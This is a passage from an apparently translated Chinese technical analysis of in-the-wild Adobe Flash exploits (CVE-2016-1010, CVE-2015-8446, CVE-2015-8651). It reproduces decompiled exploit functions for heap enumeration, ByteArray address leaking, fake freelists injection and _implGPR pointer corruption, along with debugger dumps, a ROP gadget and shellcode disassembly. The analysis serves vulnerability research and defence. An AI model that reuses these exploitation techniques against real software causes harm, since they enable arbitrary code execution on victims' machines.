m_itemsPerBlock: 0x2 (2)
m_heap:
high: 0x0 (0)
low: 0x6fb7a530 (1874306352)
m_firstBlock:
high: 0x0 (0)
low: 0xc0d7000 (202207232)
图39 ParseFixedAllocHeaderBySize(ghfgfh23)函数
返回结果中包含有堆块的首部结构，其中偏移0xc处的DWORD值正好为要查找的大小0x7f0。
0:000> dds 6fb7c36c <-- fixedAllocAddr
6fb7c36c 6fb7a530 <-- m_heap
6fb7c370 00000001 <-- m_unknown
6fb7c374 00000002 <-- m_itemsPerBlock
6fb7c378 000007f0 <-- m_itemSize
6fb7c37c 0c0d7000 <-- m_firstBlock
6fb7c380 0c0d7000 <-- m_lastBlock
6fb7c384 00000000 <-- m_firstFree
6fb7c388 00000001 <-- m_maxAlloc
6fb7c38c 00000001
图40 返回的FixedAlloc结构
#### ParseFixedBlock
在EnumerateFixedBlocks(hhh222)函数中会调用ParseFixedBlock(vcb4)来遍历FixedBlock链表。
public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:___Int64 = undefined) : Array
{
var fixedBlockAddr:* = null as ___Int64;
var _loc8_:* = null as ___Int64;
var _loc9_:* = 0;
var _loc10_:* = null as ByteArray;
var fixedBlockInfo:* = null;
var _loc5_:Array = [];
var _loc6_:* = ParseFixedAllocHeaderBySize(param1,param2);
if(param3)
{
fixedBlockAddr = _loc6_.m_firstBlock;
}
else
{
fixedBlockAddr = _loc6_.m_lastBlock;
}
while(!(jjjj222222lpmc.IsZero(fixedBlockAddr)))
{
...
_loc10_ = gg2rw.readn(fixedBlockAddr,Jdfgdf435GwgVfg.Hfghgfh3); // read by chunk. _loc10_: ByteArray
fixedBlockInfo = ParseFixedBlock(_loc10_, fixedBlockAddr); // fixedBlockAddr: size
_loc5_.push(fixedBlockInfo);
if(param3)
{
fixedBlockAddr = fixedBlockInfo.next;
}
else
{
fixedBlockAddr = fixedBlockInfo.prev;
}
}
return _loc5_;
图41 借助ParseFixedBlock函数来遍历FixedBlock链表
其中，结构体FixedBlock的定义如下。
struct FixedBlock
{
void* firstFree; // First object on the block's free list
void* nextItem; // First object free at the end of the block
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
FixedBlock* prev; // Previous block on the list of blocks
uint16_t numAlloc; // Number of items allocated from the block
uint16_t size; // Size of objects in the block
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
FixedBlock *prevFree; // Previous block on the list of blocks with free items
FixedAlloc *alloc; // The allocator that owns this block
char items[1]; // Memory for objects starts here
};
图42 FixedBlock结构的定义
ParseFixedBlock(vcb4)函数将基于上述定义对FixedBlock进行解析。
public function ParseFixedBlock (param1:ByteArray, param2:___Int64) : Object
{
var _loc3_:* = {
"firstFree":jjjj222222lpmc.ReadPointer(param1),
"nextItem":jjjj222222lpmc.ReadPointer(param1),
"next":jjjj222222lpmc.ReadPointer(param1),
"prev":jjjj222222lpmc.ReadPointer(param1),
"numAlloc":param1.readUnsignedShort(),
"size":param1.readUnsignedShort(),
"prevFree":jjjj222222lpmc.ReadPointer(param1),
"nextFree":jjjj222222lpmc.ReadPointer(param1),
"alloc":jjjj222222lpmc.ReadPointer(param1),
"blockData":param1,
"blockAddr":param2
};
return _loc3_;
}
图43 ParseFixedBlock函数
#### 4.2 泄漏ByteArray对象的地址
在CVE-2016-1010的利用样本中还用到了ByteArray对象的地址泄露技术。
#### GetByteArrayAddress
GetByteArrayAddress(hgfh342)函数会将获取到的第一个参数作为期望对象的大小，并枚举MMgc内存空间中具有此大小的对象，最终会返回所有找到的内存块相应的解析结果。
这里GetByteArrayAddress(hgfh342)函数返回的是pairs类型（[ByteArray::Buffer,ByteArray::Buffer.array]）的数组，其中，exploit可以在ByteArray::Buffer.array地址上放置想要的数据。
此外，GetByteArrayAddress(hgfh342)函数需要调用EnumerateFixedBlocks(hhh222)来定位ByteArray对象的堆地址，所给的期望对象大小为40或24，这取决于具体运行的Flash版本。
public function J34534534(_arg_1:*, _arg_2:Object, _arg_3:Jdfgdfgd34):void
{
...
hgfh4343 = 24;
if ((((nnfgfg3.nfgh23[0] >= 20)) || ((((nnfgfg3.nfgh23[0] == 18)) && ((nnfgfg3.nfgh23[3] >= 324)))))) // Flash version check
{
...
hgfh4343 = 40;
};
...
}
public function GetByteArrayAddress (param1:ByteArray, param2:Boolean = false, param3:int = 0) : Array
{
...
var _loc9_:Array = jhghjhj234544. EnumerateFixedBlocks (hgfh4343,true); // hgfh4343 is 40 or 24 depending on the Flash version – this is supposed to be the ByteArray object size
}
图44 在GetByteArrayAddress函数中进行EnumerateFixedBlocks调用
正如上面所说，GetByteArrayAddress(hgfh342)函数通过EnumerateFixedBlocks(hhh222)调用来获取具有特定大小的堆块，即ByteArray对象，之后会在这些对象中查找特殊的标记值。
public function GetByteArrayAddress(_arg_1:ByteArray, _arg_2:Boolean=false, marker:int=0):Array
{
...
var fixedBlockArr:Array = jhghjhj234544. EnumerateFixedBlocks(hgfh4343, true);
var _local_10:int;
var fixedBlockArrLength:int = fixedBlockArr.length;
while (_local_10 < fixedBlockArrLength)
{
i = _local_10++;
_local_13 = ((Jdfgdf435GwgVfg.Hfghgfh3 - gfhgfhg44444.cvhcvb345) / hgfh4343);
_local_14 = gfhgfhg44444.cvhcvb345;
_local_15 = fixedBlockArr[i].blockData;
while (_local_13 > 0)
{
_local_15.position = _local_14;
if (bgfh4)
{
_local_15.position = (_local_14 + bbfgh4);
_local_16 = _local_15.readUnsignedInt();
_local_15.position = (_local_14 + bgfhgfh34);
_local_17 = _local_15.readUnsignedInt();
if ((_local_16 == _local_5))
{
_local_15.position = (_local_14 + bbgfgfh4);
_local_7 = gggexss.AddInt64(fixedBlockArr[i].blockAddr, _local_14);
_local_6 = jhghjhj234544.jjjj222222lpmc.ReadPointerSizeData(_local_15, false);
if (((marker!= (0)) && (((!((_local_6.high == _local_8.high))) || (!((_local_6.low == _local_8.low)))))))
{
if (hhiwr.read4(_local_6) == marker) // Compare marker
{
return ([_local_7, _local_6]);
};
}
else
{
_local_18 = new ___Int64(0, 0);
_local_8 = _local_18;
if (((!((_local_6.high == _local_8.high))) || (!((_local_6.low == _local_8.low)))))
{
return ([_local_7, _local_6]);
};
};
};
}
...
_local_14 = (_local_14 + hgfh4343);
_local_13--;
};
图45 在GetByteArrayAddress(hgfh342)函数中对标记值进行启发式搜索
public function AllocateByteArrays():Boolean
{
...
var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFF) + 1));
...
g4 = GetByteArrayAddress(freelists_bytearray, false, randomInt)[1]; // MMgc structure address
hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1]; // Shellcode BytreArray
...
}
图46 randomInt是一个随机生成的标记值
#### 4.3 获取GCBlock的结构
此外，在发现的CVE-2015-8446利用样本中则借助内存的可预测性来访问Flash
Player的内部结构。此例中，在完成堆喷操作后，GCBlock对象会被分配到地址0x1a000000上，而地址0x1a000008中的内容正是exploit要寻找的GC对象基址。
ReadInt 1a000004 000007b0 <-- GCBlock.size
ReadInt 1a000008 0c3ff000 <-- GCBlock.gc
图47 堆喷后读取固定地址处的数据
下述为GCBlockHeader结构体的定义。
/**
* Common block header for GCAlloc and GCLargeAlloc.
*/
struct GCBlockHeader
{
uint8_t bibopTag; // *MUST* be the first byte. 0 means "not a bibop block." For others, see core/atom.h.
uint8_t bitsShift; // Right shift for lower 12 bits of a pointer into the block to obtain the mark bit item for that pointer
// bitsShift is only used if MMGC_FASTBITS is defined but its always present to simplify header layout.
uint8_t containsPointers; // nonzero if the block contains pointer-containing objects
uint8_t rcobject; // nonzero if the block contains RCObject instances
uint32_t size; // Size of objects stored in this block
GC* gc; // The GC that owns this block
GCAllocBase* alloc; // the allocator that owns this block
GCBlockHeader* next; // The next block in the list of blocks for the allocator
gcbits_t* bits; // Variable length table of mark bit entries
};
图48 GCBlockHeader结构体
其中，0x1a000008处的值是在获取GC结构体指针后通过GCAlloc::CreateChunk方法写入的，此GC结构随后会用于实现JIT内部数据的corruption，而作为迈出代码执行的第一步，ROP链在最开始会选择调用VirtualAlloc函数。
447d8020 00000000
Evaluate expression: 1854116879 = 6e83940f
0:035> u 6e83940f
6e83940f ff152874ca6e call dword ptr [Flash!_imp__VirtualAlloc (6eca7428)]
6e839415 5d pop ebp
6e839416 c3 ret
图49 exploit中用到的ROP Gadget
### 5 JIT运行时攻击
另一方面，由于CFG保护的存在，攻击者们也逐渐移步到Flash的JIT(just-in-time)运行时，相关[攻击理念](https://www.blackhat.com/docs/eu-15/materials/eu-15-Falcon-Exploiting-Adobe-Flash-Player-In-The-Era-Of-Control-Flow-Guard.pdf)早前已由Francisco
Falcon提出过了，而以JIT方式执行CFG代码则可缓解此类利用。在实际获取的CVE-2016-1010和[CVE-2015-8446](http://blogs.360.cn/360safe/2015/12/19/angler-ek%E6%9C%80%E6%96%B0cve-2015-8446-flash-exploit%E5%88%86%E6%9E%90/)利用样本中我们还观察到了更巧妙的攻击手法，其中一个方法通过已知的CFG保护缺陷来破坏栈上的返回地址，相关细节我们将在未来进行讨论。在这里，我们分享一些关于freelists结构滥用以及MethodInfo._implGPR函数指针corruption的具体细节。
#### 5.1 操控Freelists结构
在CVE-2016-1010的利用样本中，shellcode所保存的位置非常有意思，其中就涉及到了如何操控freelists结构。下面开始分析，可以看到，StartExploit(hgfghfgj2)函数首先调用了AllocateByteArrays(jhgjhj22222)方法，而后会通过名为shellcode_bytearray的ByteArray对象将shellcode写入堆空间。
public function StartExploit(_arg_1:ByteArray, _arg_2:int):Boolean
{
var _local_4:int;
var _local_11:int;
if (!(AllocateByteArrays ()))
{
return (false);
};
...
_local_8 = _local_12;
shellcode_bytearray.position = (_local_8.low + 0x1800); // a little bit inside the heap region, to be safe not to be cleared up
shellcode_bytearray.writeBytes(_arg_1); // Writing shellcode to target ByteArray.
图50 分配ByteArray对象并写入shellcode
此exploit通过GetByteArrayAddress(hgfh342)方法获取用于存放freelists元素的内存地址，下述给出的结果中该地址为0x16893000。
- Call Return: int.hgfh342 Array
Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 64
Method Name: hgfh342
Return Object ID: 0x210 (528)
Object Type: int
Return Value:
Object:
high: 0x0 (0)
low: 0xc122db8 (202517944)
high: 0x0 (0)
low: 0x16893000 (378089472) <- memory for fake freelists structure
Object Type: Array
Log Level: 0x3 (3)
Name:
Object Name:
Object ID: 0x1d1 (465)
图51 调用GetByteArrayAddress(hgfh342)获取ByteArray对象的内存地址
这里注意一点，和正常情况相同，AllocateByteArrays(jhgjhj22222)方法分配的ByteArray对象所在内存的页面属性也为可读写，相应的两块堆空间将分别用于保存用到的freelists元素以及shellcode代码，为了方便，将这两个ByteArray对象命名为shellcode_bytearray和freelists_bytearray。
public function AllocateByteArrays():Boolean
{
...
var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFF) + 1));
// Create shellcode ByteArray
shellcode_bytearray = new ByteArray();
shellcode_bytearray.endian = Endian.LITTLE_ENDIAN;
shellcode_bytearray.writeUnsignedInt(_local_1);
shellcode_bytearray.length = 0x20313;
// Create freelists ByteArray
freelists_bytearray = new ByteArray();
freelists_bytearray.endian = Endian.LITTLE_ENDIAN;
freelists_bytearray.writeUnsignedInt(_local_1);
freelists_bytearray.length = 0x1322;
g4 = GetByteArrayAddress(freelists_bytearray, false, randomInt)[1]; // Freelists ByteArray
hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1]; // Shellcode ByteArray
_local_2 = hg45;
_local_4 = new ___Int64(0, 0);
_local_3 = _local_4;
return (((((!((_local_2.high == _local_3.high))) || (!((_local_2.low == _local_3.low))))) && (((!((_local_2.high == _local_3.high))) ||
(!((_local_2.low == _local_3.low)))))));
}
图52 分配ByteArray对象并获取相应的内存地址
在GCHeap类中有一个声明为freelists的变量，它是HeapBlock类型的数组，此数组包含那些已经释放掉的或保留的内存块来供程序后面的分配调度。
class GCHeap
{
...
Region *freeRegion;
Region *nextRegion;
HeapBlock *blocks;
size_t blocksLen;
size_t numDecommitted;
size_t numRegionBlocks;
HeapBlock freelists[kNumFreeLists];
size_t numAlloc;
图53 GCHeap类的定义
exploit会将0x16893000处伪造的freelists元素链接到该数组中。
Enter: A1/instance/read4(00000000`6fb7bbb4)
Return: A1/instance/read4 6fb7bba4
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000)
Return: A1/instance/write4 null
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
Return: A1/instance/write4 null
图54 将伪造的freelists元素链接到freelists数组中
此操作将通过修改HeapBlock结构体中的前驱及后继指针来实现。
// Block struct used for free lists and memory traversal
class HeapBlock
{
public:
char *baseAddr; // base address of block's memory
size_t size; // size of this block
size_t sizePrevious; // size of previous block
HeapBlock *prev; // prev entry on free list <- Corruption target
HeapBlock *next; // next entry on free list <- Corruption target
bool committed; // is block fully committed?
bool dirty; // needs zero'ing, only valid if committed
图55 HeapBlock结构体的定义
0x6fb7bba4指向的内容为freelists中的元素，它是HeapBlock类型的结构体，可以通过dump内存来查看exploit是如何对其进行corrupt的。
0:000> dds 6fb7bba4 <- HeapBlock structure
6fb7bba4 00000000
6fb7bba8 00000000
6fb7bbac 00000000
6fb7bbb0 6fb7bba4 HeapBlock.prev <- Corrupted to 16893000
6fb7bbb4 6fb7bba4 HeapBlock.next <- Corrupted to 16893000
6fb7bbb8 00000101
6fb7bbbc 00000000
6fb7bbc0 00000000
6fb7bbc4 00000000
图56 freelists数组原先在0x6fb7bbb0处的内容
另外，shellcode代码会被写入0x16dc3000处相应的ByteArray对象中，此地址同样可以通过GetByteArrayAddress(hgfh342)函数来获取。
-Call Return: int.hgfh342 Array
Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 76
Method Name: hgfh342
Return Object ID: 0x248 (584)
Object Type: int
Return Value:
Object:
high: 0x0 (0)
low: 0xc122d40 (202517824)
high: 0x0 (0)
low: 0x16dc3000 (383528960) <- base address of shellocode ByteArray
Object Type: Array
Log Level: 0x3 (3)
Name:
Object Name:
Object ID: 0x1d1 (465)
图57 获取保存shellcode的ByteArray对象地址
exploit将在0x16893000处写入该shellcode对应的内存地址值。
0:000> dds 16893000
16893000 16dc3000 <- pointer to shellcode memory
16893004 00000010
16893008 00000000
1689300c 00000000
16893010 00000000
16893014 00000001
16893018 41414141
1689301c 41414141
16893020 41414141
16893024 41414141
图58 0x16893000处放置的是伪造的freelists元素
0:000> dds 16dc3000 <- shellcode ByteArray buffer, JIT operation target
16dc3000 00000000
16dc3004 00000000
16dc3008 16dd2fec
16dc300c 00000001
16dc3010 16dd2e6c
16dc3014 00000000
16dc3018 00000000
16dc301c 00000000
图59 0x16dc3000处放置的是shellcode
接着前面提到的0x6fb7bbb0处的HeapBlock.prev和0x6fb7bbb4处的HeapBlock.next这两个值会被重写为0x16893000，即伪造的freelists元素所在地址，而该元素的基址又指向了0x16dc3000处的shellcode。
Enter: A1/instance/read4(00000000`6fb7bbb4)
Return: A1/instance/read4 6fb7bba4
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000)
Return: A1/instance/write4 null
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
Return: A1/instance/write4 null
图60 重写HeapBlock.prev和HeapBlock.next的值
小结下，0x16893000地址处放置的是伪造的HeapBlock结构，而0x16dc3000地址处将会保存写入的shellcode代码。这两个堆块的页属性都为可读写，下面给出的是shellcode所在内存的页面信息。
0:007> !address 16dc3000
Usage: <unknown>
Base Address: 16cf9000
End Address: 17176000
Region Size: 00200000 ( 2.000 MB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE <- Protection mode is RW
Type: 00020000 MEM_PRIVATE
Allocation Base: 16cf9000
Allocation Protect: 00000001 PAGE_NOACCESS
Content source: 1 (target), length: 1000
图61 地址0x16dc3000处的页面属性
从下述调试过程可以看出exploit把shellcode地址赋值给了伪造的HeapBlock结构中的基址变量。
Breakpoint 1 hit
eax=16dc3000 ebx=0d5f20d0 ecx=16893000 edx=0b551288 esi=150947c0 edi=0d552020
eip=6d462537 esp=0b551244 ebp=0b551244 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
...
6d462535 8901 mov dword ptr [ecx],eax <- ecx: freelists address, eax: shellcode address
图62 freelists[0]将会指向shellcode所在的内存
而这个伪造的freelists元素所指向的内存区域，即shellcode所在的内存，会在GCHeap::AllocBlock调用中被重新声明并作为JIT空间赋予可读可执行的权限。
0:026> g
Breakpoint 1 hit
eax=16dc3000 ebx=16893000 ecx=00000000 edx=00000000 esi=00000010 edi=00000001
eip=6d591cc2 esp=0b550ed8 ebp=0b550efc iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200297
Flash!MMgc::alignmentSlop+0x2 [inlined in Flash!MMgc::GCHeap::Partition::AllocBlock+0x72]:
6d591cc2 8bd7 mov edx,edi
...
0:026> u eip -6
...
6d591cc0 8b03 mov eax,dword ptr [ebx] <- retrieving heap block from free list
0:026> r ebx
ebx=16893000
6d591cc2 8bd7 mov edx,edi
6d591cc4 c1e80c shr eax,0Ch
6d591cc7 23c1 and eax,ecx
6d591cc9 2bd0 sub edx,eax
6d591ccb 23d1 and edx,ecx
图63 获取freelists[0]的基址
相关的代码如下。
GCHeap::HeapBlock* GCHeap::AllocBlock(size_t size, bool& zero, size_t alignment)
{
uint32_t startList = GetFreeListIndex(size);
HeapBlock *freelist = &freelists[startList]; // retrieving heap block from free list
HeapBlock *decommittedSuitableBlock = NULL;
...
图64 GCHeap::AllocBlock函数
经过GetFreeListIndex函数中的一些计算后，此分配函数会从freelists数组中选取相应的堆块，并最终返回包含shellcode代码的页面。
此外，下述的doInitDelay方法实际上是Flash Player中的事件回调函数，当伪造的freelists结构被用到时，就会触发其中的JIT代码。
public dynamic class Boot extends MovieClip
{
...
public function doInitDelay(_arg_1:*):void
{
Lib.current.removeEventListener(Event.ADDED_TO_STAGE, doInitDelay);
start();
}
public function start():void
{
...
if (_local_2.stage == null)
{
_local_2.addEventListener(Event.ADDED_TO_STAGE, doInitDelay);
...
};
}
图65 周期性调用的doInitDelay方法
当上述方法被调用时，原先使用的某块内存会被置成保留状态，对新分配的内存程序会调用VirtualProtect函数将其页面属性设为RX。在此情况下，伪造的freelists元素所指向的内存区域最终会被用到。
0:006> !address 16dc3000
Usage: <unknown>
Base Address: 16dc3000
End Address: 17050000
Region Size: 00010000 ( 64.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 00020000 MEM_PRIVATE
Allocation Base: 16cf9000
Allocation Protect: 00000001 PAGE_NOACCESS
Content source: 1 (target), length: 1000
图66 目标内存的页属性变成了可读可执行
因此，攻击者采用的策略就是利用ByteArray对象的分配函数来获取特定大小的堆空间，并将其链接到freelists结构中，以便相应的堆内存能在周期性事件处理所调用的JIT生成器中被用到。通过这种方式，exploit还能将目标内存的页面属性从可读写转变成可读可执行。同时，由于在新的JIT空间初始化时，目标内存上的数据并没有被初始化，所以在这种情况下，包含有shellcode的ByteArray对象内容不会从JIT空间中消失，后面这些shellcode将被用于代码的执行。
此漏洞目前已经修复了，在JIT生成器重新使用freelists中的内存块前，那些现有内存中的数据都将被初始化，这有效清除了伪造的freelists结构中写入的shellcode，从而彻底杜绝这种攻击方式。
#### 5.2 MethodInfo._implGPR函数指针corruption
而在坊间发现的CVE-2015-8651利用样本中则采用了MethodInfo._implGPR函数指针corruption的方法来实现利用，相关定义如下。
/**
* Base class for MethodInfo which contains invocation pointers. These
* pointers are private to the ExecMgr instance and hence declared here.
*/
class GC_CPP_EXACT(MethodInfoProcHolder, MMgc::GCTraceableObject)
{
...
private:
union {
GprMethodProc _implGPR; <--- FprMethodProc _implFPR;
FLOAT_ONLY(VecrMethodProc _implVECR;)
};
图67 _implGPR函数指针的定义
当调用的JIT代码返回时，此函数指针将被用到。
Atom BaseExecMgr::endCoerce(MethodEnv* env, int32_t argc, uint32_t *ap, MethodSignaturep ms)
{
...
AvmCore* core = env->core();
const int32_t bt = ms->returnTraitsBT();
switch(bt){
...
default:
{
STACKADJUST(); // align stack for 32-bit Windows and MSVC compiler
const Atom i = (*env->method->_implGPR)(env, argc, ap);
STACKRESTORE();
...
图68 _implGPR函数会在JIT函数返回时被调用
为了实现_implGPR函数指针的corruption，此样本首先借助CustomByteArray对象进行堆喷，此对象的声明如下。
public class CustomByteArray extends ByteArray
{
private static const _SafeStr_35:_SafeStr_10 = _SafeStr_10._SafeStr_36();
public var _SafeStr_625:uint = 0xFFEEDD00;
public var _SafeStr_648:uint = 4293844225;
public var _SafeStr_629:uint = 0xF0000000;
public var _SafeStr_631:uint = 0xFFFFFFFF;
public var _SafeStr_633:uint = 0xFFFFFFFF;
public var _SafeStr_635:uint = 0;
public var _SafeStr_628:uint = 0xAAAAAAAA;
public var _SafeStr_630:uint = 0xAAAAAAAA;
public var _SafeStr_632:uint = 0xAAAAAAAA;
public var _SafeStr_634:uint = 0xAAAAAAAA;
public var _SafeStr_649:uint = 4293844234;
public var _SafeStr_650:uint = 4293844235;
public var _SafeStr_651:uint = 4293844236;
public var _SafeStr_652:uint = 4293844237;
public var _SafeStr_653:uint = 4293844238;
public var _SafeStr_626:uint = 4293844239;
public var _SafeStr_654:uint = 4293844240;
public var _SafeStr_655:uint = 4293844241;
public var _SafeStr_656:uint = 4293844242;
public var _SafeStr_657:uint = 4293844243;
public var _SafeStr_658:uint = 4293844244;
public var _SafeStr_659:uint = 4293844245;
public var _SafeStr_660:uint = 4293844246;
public var _SafeStr_661:uint = 4293844247;
public var _SafeStr_662:uint = 4293844248;
public var _SafeStr_663:uint = 4293844249;
public var _SafeStr_664:uint = 4293844250;
public var _SafeStr_665:uint = 4293844251;
public var _SafeStr_666:uint = 4293844252;
public var _SafeStr_667:uint = 4293844253;
public var _SafeStr_668:uint = 4293844254;
public var _SafeStr_669:uint = 4293844255;
public var _SafeStr_164:Object; <--- private var _SafeStr_670:Number;
...
private var _SafeStr_857:Number;
private var static:Number;
private var _SafeStr_858:Number;
...
private var _SafeStr_891:Number;
public function CustomByteArray(_arg_1:uint)
{
endian = _SafeStr_35.l[_SafeStr_35.Illl];
this._SafeStr_164 = this;
this._SafeStr_653 = _arg_1;
return;
return;
}
}
图69 CustomByteArray类的定义
成员变量_SafeStr_164是其中需要corrupt的对象，它会指向_SafeStr_16._SafeStr_340，而_SafeStr_340被定义为一个包含多个参数的静态函数，不过其内部实现仅有一行代码。
// _SafeStr_16 = "while with" (String#127, DoABC#2)
// _SafeStr_340 = "const while" (String#847, DoABC#2)
public class _SafeStr_16
{
...
private static function _SafeStr_340(... _args):uint <-- Corruption target method
{
return (0);
}
图70 需要corrupt的目标函数
此外，通过堆喷能够保证CustomByteArray对象总会出现在地址0x0f4a0020处。
0:000> dd 0f4a0020 <-- CustomByteArray is allocated at predictable address
0f4a0020 595c5e54 20000006 1e0e3ba0 1e1169a0
0f4a0030 0f4a0038 00000044 595c5da4 595c5db8
0f4a0040 595c5dac 595c5dc0 067acca0 07501000
0f4a0050 0af19538 00000000 00000000 2e0b6278
0f4a0060 594f2b6c 0f4a007c 00000000 00000000
0f4a0070 595c5db0 00000003 00000001*ffeedd00* <-- Start of object member data (public var _SafeStr_625:uint = 0xFFEEDD00)
0f4a0080 ffeedd01 f0000000 ffffffff ffffffff
0f4a0090 00000000 50cefe43 5f3101bc 5f3101bc
0f4a00a0 a0cefe43 ffeedd0a ffeedd0b ffeedd0c
0f4a00b0 ffeedd0d 00000f85 ffeedd0f ffeedd10
0f4a00c0 ffeedd11 ffeedd12 ffeedd13 ffeedd14
0f4a00d0 ffeedd15 ffeedd16 ffeedd17 ffeedd18
0f4a00e0 ffeedd19 ffeedd1a ffeedd1b ffeedd1c
0f4a00f0 ffeedd1d ffeedd1e ffeedd1f*16e7f371* <-- public var _SafeStr_164:Object (points to _SafeStr_16._SafeStr_340 MethodClosure)
0f4a0100 e0000000 7fffffff e0000000 7fffffff
0f4a0110 e0000000 7fffffff e0000000 7fffffff
0f4a0120 e0000000 7fffffff e0000000 7fffffff
0f4a0130 e0000000 7fffffff e0000000 7fffffff
0f4a0140 e0000000 7fffffff e0000000 7fffffff
0f4a0150 e0000000 7fffffff e0000000 7fffffff
0f4a0160 e0000000 7fffffff e0000000 7fffffff
0f4a0170 e0000000 7fffffff e0000000 7fffffff
图71 内存中dump的CustomByteArray对象
由上图可知目标对象_SafeStr_164的地址是0x16e7f370=0x16e7f371&0xfffffffe，指针的传递就是从这里开始的，下述日志信息给出了此exploit查找MethodInfo._implGPR字段以及将该指针重写为shellcode地址的过程。
* ReadInt: 0f4a00fc 16e7f371 <- CustomByteArray is at 0f4a0000
* ReadInt: 16e7f38c 068cdcb8 <- MethodClosure structure is at 16e7f370. Next pointer offset is 16e7f38c-16e7f370=1c.
* ReadInt: 068cdcc0 1e0b6270 <- MethodEnv structure is at 068cdcb8 . Next pointer offset is 068cdcc0-068cdcb8=8
* WriteInt: 1e0b6274 0b8cdcb0 (_SafeStr_340) -> 01fb0000 (Shellcode) <- Overwriting MethodInfo._impGPR pointer to shellcode location
图72 查找并corrupt掉MethodInfo._implGPR字段
可以看到查找过程为：CustomByteArray(0x0f4a0020)._SafeStr_164 ->
MethodClosure(0x16e7f370) -> MethodEnv(0x068cdcb8) -> MethodInfo (0x1e0b6270)
-> MethodInfo._implGPR(0x1e0b6274)。
MethodInfo._implGPR函数指针(0x1e0b6274处)最初指向的地址是0x0b8cdcb0，相应的反汇编结果如下：
0b8cdcb0 55 push ebp
0b8cdcb1 8bec mov ebp,esp
0b8cdcb3 90 nop
0b8cdcb4 83ec18 sub esp,18h
0b8cdcb7 8b4d08 mov ecx,dword ptr [ebp+8]
0b8cdcba 8d45f0 lea eax,[ebp-10h]
0b8cdcbd 8b1550805107 mov edx,dword ptr ds:[7518050h]
0b8cdcc3 894df4 mov dword ptr [ebp-0Ch],ecx
0b8cdcc6 8955f0 mov dword ptr [ebp-10h],edx
0b8cdcc9 890550805107 mov dword ptr ds:[7518050h],eax
0b8cdccf 8b1540805107 mov edx,dword ptr ds:[7518040h]
0b8cdcd5 3bc2 cmp eax,edx
0b8cdcd7 7305 jae 0b8cdcde
0b8cdcd9 e8c231604d call Flash!IAEModule_IAEKernel_UnloadModule+0x1fd760 (58ed0ea0)
0b8cdcde 33c0 xor eax,eax
0b8cdce0 8b4df0 mov ecx,dword ptr [ebp-10h]
0b8cdce3 890d50805107 mov dword ptr ds:[7518050h],ecx
0b8cdce9 8be5 mov esp,ebp
0b8cdceb 5d pop ebp
0b8cdcec c3 ret
图73 _impGPR函数指针最初指向的内容
而修改后的MethodInfo._impGPR函数指针将会指向shellcode代码，其反汇编结果如下：
01fb0000 60 pushad
01fb0001 e802000000 call 01fb0008
01fb0006 61 popad
01fb0007 c3 ret
01fb0008 e900000000 jmp 01fb000d
01fb000d 56 push esi
01fb000e 57 push edi
01fb000f e83b000000 call 01fb004f
01fb0014 8bf0 mov esi,eax
01fb0016 8bce mov ecx,esi
01fb0018 e86f010000 call 01fb018c
01fb001d e88f080000 call 01fb08b1
01fb0022 33c9 xor ecx,ecx
01fb0024 51 push ecx
01fb0025 51 push ecx
01fb0026 56 push esi
01fb0027 05cb094000 add eax,4009CBh
01fb002c 50 push eax
01fb002d 51 push ecx
01fb002e 51 push ecx
01fb002f ff560c call dword ptr [esi+0Ch]
01fb0032 8bf8 mov edi,eax
01fb0034 6aff push 0FFFFFFFFh
01fb0036 57 push edi
01fb0037 ff5610 call dword ptr [esi+10h]
01fb003a 57 push edi
01fb003b ff5614 call dword ptr [esi+14h]
01fb003e 5f pop edi
01fb003f 33c0 xor eax,eax
01fb0041 5e pop esi
01fb0042 c3 ret
图74 shellcode代码
在完成MethodInfo._impGPR函数指针的corruption后，就可以调用_SafeStr_340上的call.apply或call.call方法闭包来触发shellcode的执行。
private function _SafeStr_355(_arg_1:*)
{
return (_SafeStr_340.call.apply(null, _arg_1));
}
private function _SafeStr_362()
{
return (_SafeStr_340.call(null));
}
图75 用于触发shellcode执行的代码
### 6 FunctionObject对象的corruption
对于FunctionObject对象的corruption已经是屡见不鲜了，那些源自Hacking Team的exploit（CVE-2015-0349,
CVE-2015-5119, CVE-2015-5122, CVE-2015-5123）就很好的展示了相关技术。
以下是FunctionObject对象中AS3_call和AS3_apply方法的相关声明。
class GC_AS3_EXACT(FunctionObject, ClassClosure)
{
...
// AS3 native methods
int32_t get_length();
Atom AS3_call(Atom thisAtom, Atom *argv, int argc);
Atom AS3_apply(Atom thisAtom, Atom argArray);
...
图76 AS3_call和AS3_apply方法的声明
Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
{
thisArg = get_coerced_receiver(thisArg);
...
if (!AvmCore::isNullOrUndefined(argArray))
{
AvmCore* core = this->core();
...
return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray));
}
图77 FunctionObject::AS3_apply的定义
/**
* Function.prototype.call()
*/
Atom FunctionObject::AS3_call(Atom thisArg, Atom *argv, int argc)
{
thisArg = get_coerced_receiver(thisArg);
return core()->exec->call(get_callEnv(), thisArg, argc, argv);
}
图78 FunctionObject::AS3_call的定义
如下定义了FunctionObject::AS3_call和FunctionObject::AS3_apply方法中用到的ExecMgr类。
class ExecMgr
{
...
/** Invoke a function apply-style, by unpacking arguments from an array */
virtual Atom apply(MethodEnv*, Atom thisArg, ArrayObject* a) = 0;
/** Invoke a function call-style, with thisArg passed explicitly */
virtual Atom call(MethodEnv*, Atom thisArg, int32_t argc, Atom* argv) = 0;
图79 ExecMgr中apply和call的定义
